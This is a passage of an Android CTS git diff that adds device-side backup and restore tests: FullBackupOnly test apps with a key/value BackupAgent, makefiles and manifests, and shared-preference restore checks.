+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ *
+ */
+@RunWith(AndroidJUnit4.class)
+public class AllowBackupTest {
+ public static final String TAG = "AllowBackupCTSApp";
+ private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+ private Context mContext;
+
+ private File mDoBackupFile;
+ private File mDoBackupFile2;
+
+ @Before
+ public void setUp() {
+ mContext = getTargetContext();
+ setupFiles();
+ }
+
+ private void setupFiles() {
+ File filesDir = mContext.getFilesDir();
+ File normalFolder = new File(filesDir, "normal_folder");
+
+ mDoBackupFile = new File(filesDir, "file_to_backup");
+ mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+ }
+
+ @Test
+ public void createFiles() throws Exception {
+ // Make sure the data does not exist from before
+ deleteAllFiles();
+ assertNoFilesExist();
+
+ // Create test data
+ generateFiles();
+ assertAllFilesExist();
+
+ Log.d(TAG, "Test files created: \n"
+ + mDoBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile2.getAbsolutePath());
+ }
+
+ @Test
+ public void checkNoFilesExist() throws Exception {
+ assertNoFilesExist();
+ }
+
+ @Test
+ public void checkAllFilesExist() throws Exception {
+ assertAllFilesExist();
+ }
+
+ private void generateFiles() {
+ try {
+ // Add data to all the files we created
+ addData(mDoBackupFile);
+ addData(mDoBackupFile2);
+ Log.d(TAG, "Files generated!");
+ } catch (IOException e) {
+ Log.e(TAG, "Unable to generate files", e);
+ }
+ }
+
+ private void deleteAllFiles() {
+ mDoBackupFile.delete();
+ mDoBackupFile2.delete();
+ Log.d(TAG, "Files deleted!");
+ }
+
+ private void addData(File file) throws IOException {
+ file.getParentFile().mkdirs();
+ byte[] bytes = new byte[FILE_SIZE_BYTES];
+ new Random().nextBytes(bytes);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+ bos.write(bytes, 0, bytes.length);
+ }
+ }
+
+ private void assertAllFilesExist() {
+ assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+ assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+ }
+
+ private void assertNoFilesExist() {
+ assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+ assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+ }
+}
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
index 3ed8e99..1faec59 100644
--- a/hostsidetests/backup/Android.mk
+++ b/hostsidetests/backup/Android.mk
@@ -18,12 +18,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIRS := assets/
-
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsBackupHostTestCases
diff --git a/hostsidetests/backup/FullBackupOnly/Android.mk b/hostsidetests/backup/FullBackupOnly/Android.mk
new file mode 100644
index 0000000..521ac4d
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
new file mode 100644
index 0000000..6155ffb
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyFalseNoAgentApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..c00671f
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseNoAgentApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.fullbackuponlyapp">
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
new file mode 100644
index 0000000..62b9860
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyFalseWithAgentApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..03555d4
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyFalseWithAgentApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.fullbackuponlyapp">
+
+ <application
+ android:backupAgent=".FullBackupOnlyBackupAgent">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
new file mode 100644
index 0000000..8257ea7
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := FullBackupOnlyTrueWithAgentApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
new file mode 100644
index 0000000..9b90592
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/FullBackupOnlyTrueWithAgentApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.fullbackuponlyapp">
+
+ <application
+ android:backupAgent=".FullBackupOnlyBackupAgent"
+ android:fullBackupOnly="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.cts.backup.fullbackuponlyapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java
new file mode 100644
index 0000000..f14ce24
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyBackupAgent.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackuponlyapp;
+
+import android.app.backup.BackupAgent;
+import android.app.backup.BackupDataInput;
+import android.app.backup.BackupDataOutput;
+
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+/**
+ * BackupAgent for test apps in {@link android.cts.backup.fullbackuponlyapp} package.
+ * Performs backup/restore of the file provided by {@link FullBackupOnlyTest}.
+ *
+ * Implementation of key/value backup methods is based on the examples from
+ * https://developer.android.com/guide/topics/data/keyvaluebackup.html
+ */
+public class FullBackupOnlyBackupAgent extends BackupAgent {
+ private static final String TAG = "FullBackupOnlyBA";
+
+ private static final String BACKUP_KEY = "full_backup_only_key";
+ private static final int DEFAULT_VALUE = -1;
+
+ /** Get the value saved in the shared preference and back it up. */
+ @Override
+ public void onBackup(ParcelFileDescriptor oldState, BackupDataOutput data,
+ ParcelFileDescriptor newState) throws IOException {
+ Log.i(TAG, "onBackup");
+
+ File fileToBackup = FullBackupOnlyTest.getKeyValueBackupFile(this);
+ byte[] buffer = readFileToBytes(fileToBackup);
+
+ // Send the data to the Backup Manager via the BackupDataOutput
+ int len = buffer.length;
+ data.writeEntityHeader(BACKUP_KEY, len);
+ data.writeEntityData(buffer, len);
+ }
+
+ /** Get the value from backup and save it in the shared preference. */
+ @Override
+ public void onRestore(BackupDataInput data, int appVersionCode, ParcelFileDescriptor newState)
+ throws IOException {
+ Log.i(TAG, "onRestore");
+ int value = DEFAULT_VALUE;
+
+ // There should be only one entity, but the safest
+ // way to consume it is using a while loop
+ while (data.readNextHeader()) {
+ String key = data.getKey();
+ int dataSize = data.getDataSize();
+
+ // If the key is ours (for saving top score). Note this key was used when
+ // we wrote the backup entity header
+ if (BACKUP_KEY.equals(key)) {
+ // Copy data from BackupDataInput and write it into the file.
+ byte[] dataBuf = new byte[dataSize];
+ data.readEntityData(dataBuf, 0, dataSize);
+
+ File fileToRestore = FullBackupOnlyTest.getKeyValueBackupFile(this);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(
+ new FileOutputStream(fileToRestore))) {
+ bos.write(dataBuf, 0, dataBuf.length);
+ }
+ } else {
+ // We don't know this entity key. Shouldn't happen.
+ throw new RuntimeException("Unexpected key in the backup data");
+ }
+ }
+
+ // Finally, write to the state blob (newState) that describes the restored data
+ FileOutputStream outstream = new FileOutputStream(newState.getFileDescriptor());
+ DataOutputStream out = new DataOutputStream(outstream);
+ out.writeInt(value);
+ }
+
+
+ private byte[] readFileToBytes(File file) {
+ int size = (int) file.length();
+ byte[] bytes = new byte[size];
+ try {
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(bytes, 0, bytes.length);
+ buf.close();
+ } catch (FileNotFoundException e) {
+ throw new RuntimeException("Key/value file not found", e);
+ } catch (IOException e) {
+ throw new RuntimeException("Error reading key/value file", e);
+ }
+ return bytes;
+ }
+}
diff --git a/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
new file mode 100644
index 0000000..17a7e2c
--- /dev/null
+++ b/hostsidetests/backup/FullBackupOnly/src/FullBackupOnlyTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackuponlyapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullBackupOnlyHostSideTest. These
+ * are not designed to be called in any other way, as they rely on state set up by the host side
+ * test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class FullBackupOnlyTest {
+ private static final String TAG = "FullBackupOnlyTest";
+
+ private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+ private File mKeyValueBackupFile;
+ private File mDoBackupFile;
+ private File mDoBackupFile2;
+
+ private Context mContext;
+
+ @Before
+ public void setUp() {
+ Log.i(TAG, "set up");
+ mContext = getTargetContext();
+ setupFiles();
+ }
+
+ private void setupFiles() {
+ mKeyValueBackupFile = getKeyValueBackupFile(mContext);
+
+ // Files to be backed up with Dolly
+ File filesDir = mContext.getFilesDir();
+ File normalFolder = new File(filesDir, "normal_folder");
+
+ mDoBackupFile = new File(filesDir, "file_to_backup");
+ mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+ }
+
+ @Test
+ public void createFiles() throws Exception {
+ // Make sure the data does not exist from before
+ deleteAllFiles();
+ assertNoFilesExist();
+
+ // Create test data
+ generateFiles();
+ assertAllFilesExist();
+
+ Log.d(TAG, "Test files created: \n"
+ + mKeyValueBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile.getAbsolutePath() + "\n"
+ + mDoBackupFile2.getAbsolutePath());
+ }
+
+ @Test
+ public void checkKeyValueFileDoesntExist() throws Exception {
+ assertKeyValueFileDoesntExist();
+ }
+
+ @Test
+ public void checkKeyValueFileExists() throws Exception {
+ assertKeyValueFileExists();
+ }
+
+ @Test
+ public void checkDollyFilesExist() throws Exception {
+ assertDollyFilesExist();
+ }
+
+ @Test
+ public void checkDollyFilesDontExist() throws Exception {
+ assertDollyFilesDontExist();
+ }
+
+ protected static File getKeyValueBackupFile(Context context) {
+ // Files in the 'no_backup' directory are not backed up with Dolly.
+ // We're going to use it to store a file the contents of which are backed up via key/value.
+ File noBackupDir = context.getNoBackupFilesDir();
+ return new File(noBackupDir, "key_value_backup_file");
+ }
+
+ private void generateFiles() {
+ try {
+ // Add data to all the files we created
+ addData(mKeyValueBackupFile);
+ addData(mDoBackupFile);
+ addData(mDoBackupFile2);
+ Log.d(TAG, "Files generated!");
+ } catch (IOException e) {
+ Log.e(TAG, "Unable to generate files", e);
+ }
+ }
+
+ private void deleteAllFiles() {
+ mKeyValueBackupFile.delete();
+ mDoBackupFile.delete();
+ mDoBackupFile2.delete();
+ Log.d(TAG, "Files deleted!");
+ }
+
+ private void addData(File file) throws IOException {
+ file.getParentFile().mkdirs();
+ byte[] bytes = new byte[FILE_SIZE_BYTES];
+ new Random().nextBytes(bytes);
+
+ try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
+ bos.write(bytes, 0, bytes.length);
+ }
+ }
+
+ private void assertAllFilesExist() {
+ assertKeyValueFileExists();
+ assertDollyFilesExist();
+ }
+
+ private void assertNoFilesExist() {
+ assertKeyValueFileDoesntExist();
+ assertDollyFilesDontExist();
+ }
+
+ private void assertKeyValueFileExists() {
+ assertTrue("Key/value file did not exist!", mKeyValueBackupFile.exists());
+ }
+
+ private void assertKeyValueFileDoesntExist() {
+ assertFalse("Key/value file did exist!", mKeyValueBackupFile.exists());
+ }
+
+ private void assertDollyFilesExist() {
+ assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
+ assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
+ }
+
+ private void assertDollyFilesDontExist() {
+ assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
+ assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
+ }
+}
diff --git a/hostsidetests/backup/KeyValueApp/Android.mk b/hostsidetests/backup/KeyValueApp/Android.mk
index 390c6b0..d03f85f 100644
--- a/hostsidetests/backup/KeyValueApp/Android.mk
+++ b/hostsidetests/backup/KeyValueApp/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsKeyValueBackupRestoreApp
diff --git a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
index f6d0c5b..76f3de2 100644
--- a/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
+++ b/hostsidetests/backup/KeyValueApp/src/android/cts/backup/keyvaluerestoreapp/KeyValueBackupRestoreTest.java
@@ -49,6 +49,10 @@
* Device side routines to be invoked by the host side KeyValueBackupRestoreHostSideTest. These
* are not designed to be called in any other way, as they rely on state set up by the host side
* test.
+ *
+ * Some tests invoked by KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() are
+ * interacting with SharedPrefsRestoreTestActivity from another package.
+ *
*/
@RunWith(AndroidJUnit4.class)
public class KeyValueBackupRestoreTest {
@@ -83,6 +87,27 @@
private static final String DEFAULT_STRING_VALUE = null;
private static final String DEFAULT_FILE_CONTENT = "";
+
+ /** Package name of the test app for
+ * KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() */
+ private static final String SHARED_PREFERENCES_RESTORE_PACKAGE_NAME =
+ "android.cts.backup.sharedprefrestoreapp";
+
+ /** Test activity for KeyValueBackupRestoreHostSideTest#testSharedPreferencesRestore() */
+ private static final String SHARED_PREFERENCES_RESTORE_ACTIVITY_NAME =
+ SHARED_PREFERENCES_RESTORE_PACKAGE_NAME + ".SharedPrefsRestoreTestActivity";
+
+ // Shared prefs test activity actions
+ private static final String INIT_ACTION = "android.backup.cts.backuprestore.INIT";
+ private static final String UPDATE_ACTION = "android.backup.cts.backuprestore.UPDATE";
+ private static final String TEST_ACTION = "android.backup.cts.backuprestore.TEST";
+
+ // Action for returning the result of shared preference activity's operations
+ private static final String RESULT_ACTION = "android.backup.cts.backuprestore.RESULT";
+ private static final String EXTRA_SUCCESS = "EXTRA_SUCCESS";
+
+ private static final int ACTIVITY_TEST_TIMEOUT_MS = 5000;
+
private Context mContext;
private int mIntValue;
@@ -93,11 +118,35 @@
private String mFileContent1;
private String mFileContent2;
+ private boolean mSharedPrefTestSuccess;
+ private CountDownLatch mLatch;
+ private Intent mSharedPrefActivityIntent;
+
+ private final BroadcastReceiver mSharedPrefencesReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received shared preference activity result broadcast");
+ mSharedPrefTestSuccess = intent.getBooleanExtra(EXTRA_SUCCESS, false);
+ mLatch.countDown();
+ }
+ };
+
@Before
public void setUp() {
Log.i(TAG, "set up");
mContext = getTargetContext();
+ mLatch = new CountDownLatch(1);
+ mSharedPrefTestSuccess = false;
+ mSharedPrefActivityIntent = new Intent()
+ .setClassName(SHARED_PREFERENCES_RESTORE_PACKAGE_NAME,
+ SHARED_PREFERENCES_RESTORE_ACTIVITY_NAME);
+ mContext.registerReceiver(mSharedPrefencesReceiver, new IntentFilter(RESULT_ACTION));
+ }
+
+ @After
+ public void tearDown() {
+ mContext.unregisterReceiver(mSharedPrefencesReceiver);
}
@Test
@@ -133,6 +182,34 @@
assertEquals(TEST_FILE_2_DATA, mFileContent2);
}
+ @Test
+ public void launchSharedPrefActivity() throws Exception {
+ mContext.startActivity(mSharedPrefActivityIntent.setAction(INIT_ACTION));
+
+ assertTrue("Activity init timed out",
+ mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue("Saving shared preferences didn't succeed", mSharedPrefTestSuccess);
+ }
+
+ @Test
+ public void updateSharedPrefActivity() throws Exception {
+ mContext.startActivity(mSharedPrefActivityIntent.setAction(UPDATE_ACTION));
+
+ assertTrue("Activity launch timed out",
+ mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue("Saving shared preferences didn't succeed", mSharedPrefTestSuccess);
+ }
+
+ @Test
+ public void checkSharedPrefActivity() throws Exception {
+ mContext.startActivity(mSharedPrefActivityIntent.setAction(TEST_ACTION));
+
+ assertTrue("Activity test timed out",
+ mLatch.await(ACTIVITY_TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue("Shared preference value wasn't updated from the restore set",
+ mSharedPrefTestSuccess);
+ }
+
/** Saves predefined constant values to shared preferences and files. */
private void saveSharedPreferencesValues() throws FileNotFoundException {
SharedPreferences prefs = mContext.getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
diff --git a/hostsidetests/backup/RestoreAnyVersion/Android.mk b/hostsidetests/backup/RestoreAnyVersion/Android.mk
new file mode 100644
index 0000000..521ac4d
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/Android.mk
@@ -0,0 +1,17 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+include $(call all-subdir-makefiles)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
new file mode 100644
index 0000000..0a0efba
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreAnyVersionAppUpdate
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
new file mode 100644
index 0000000..c9284ba
--- /dev/null
+++ b/hostsidetests/backup/RestoreAnyVersion/NewVersionApp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.cts.backup.restoreanyversionapp"
+ android:versionCode="200">
+
+ <application
